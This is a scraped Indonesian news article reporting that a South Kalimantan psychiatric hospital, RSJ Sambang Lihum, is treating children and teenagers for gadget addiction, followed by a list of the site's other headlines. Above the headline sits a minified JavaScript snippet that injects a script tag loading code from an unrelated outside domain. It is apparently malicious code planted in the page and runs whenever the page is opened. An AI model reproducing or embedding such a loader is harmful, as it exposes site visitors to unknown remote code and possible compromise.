(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kecanduan Gawai, 4 Remaja dan 5 Anak Jadi Pasien RSJ Sambang Lihum


BANJARMASIN, Rumah Sakit Jiwa (RSJ) Sambang Lihum milik Pemprov Kalsel mulai didatangi pasien anak dan remaja yang tergolong orang dengan masalah kejiwaan (ODMK).

Direktur Utama Rumah Sakit Jiwa (RSJ) Sambang Lihum, dr IBG Dharma Putra mengatakan, anak-anak dan remaja bahkan orang dewasa di Kalsel sangat berpotensi kecanduan gawai. Selama ini RSJ Sambang Lihum merawat beberapa anak dan mahasiswa yang ketahuan kecanduan gawai.

“Hingga saat ini ada 4 remaja dan 5 anak-anak yang menjalani rawat inap di RSJ Sambang Lihum,” ujar Dharma Putra, kepada Kanalkalimantan.com, Rabu (16/10) malam.

Dibanding dengan kasus tahun lalu, hanya ada satu pasien remaja. Namun hal ini bukanlah merupakan sebuah peningkatan, sebut Dharma, melainkan menjadi tanda bahwa para orang tua sudah mulai paham bahwa anak yang kecanduan gawai adalah sebuah kasus yang perlu ditangani.

Ciri-ciri kecanduan gawai ini sendiri bisa dilihat dari perilaku anak yang mengamuk jika tidak diberikan akses gawai atau pun sikap anak yang hampir setengah harinya lebih memilih berinteraksi dengan gawainya tanpa peduli dengan lingkungan sekitar. Untuk anak-anak yang studi, biasanya akan berpengaruh pada proses belajarnya yang terus terdistruksi dan proses belajar tidak berjalan.

“Ada pasien di Sambang Lihum, dia setelah diteliti orangtuanya lebih lanjut ternyata tidak belajar. Akhirnya diobati, sekarang sudah menunjukkan berbagai perbaikan,” jelas Dharma ketika ditemui saat menghadiri kegiatan Pemprov di Dispersip Kalsel, Rabu (16/10) malam.

Pihak RSJ Sambang Lihum sendiri mencoba melakukan analisa sederhana kenapa anak-anak kecanduan menggunakan gawai. Setelah dianalisasi lebih jauh, ternyata hal ini berdasar dari orangtua  yang memberikan akses gawai kepada si anak. Selain itu minimnya ruang bermain luar ruangan juga berpengaruh sehingga silaturahmi dan kontak secara langsung pun minim atau bahkan bisa terputus.

“Malah kalau orangtua sibuk, tidak mau diganggu, anak dikasih gawai,” beber Dharma.

Adanya taman bermain anak di RSJ Sambang Lihum merupakan salah satu upaya Pemprov Kalsel untuk proses perawatan terhadap anak yang menjadi pasien maupun anak yang normal. Taman yang dibuka juga untuk umum empat kali dalam seminggu ini diharapkan menjadi wadah sosialisai baik bagi pasien maupun anak-anak yang sehat untuk bisa saking memahami satu sama lain. (mario)

Reporter : mario
Editor : bie

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.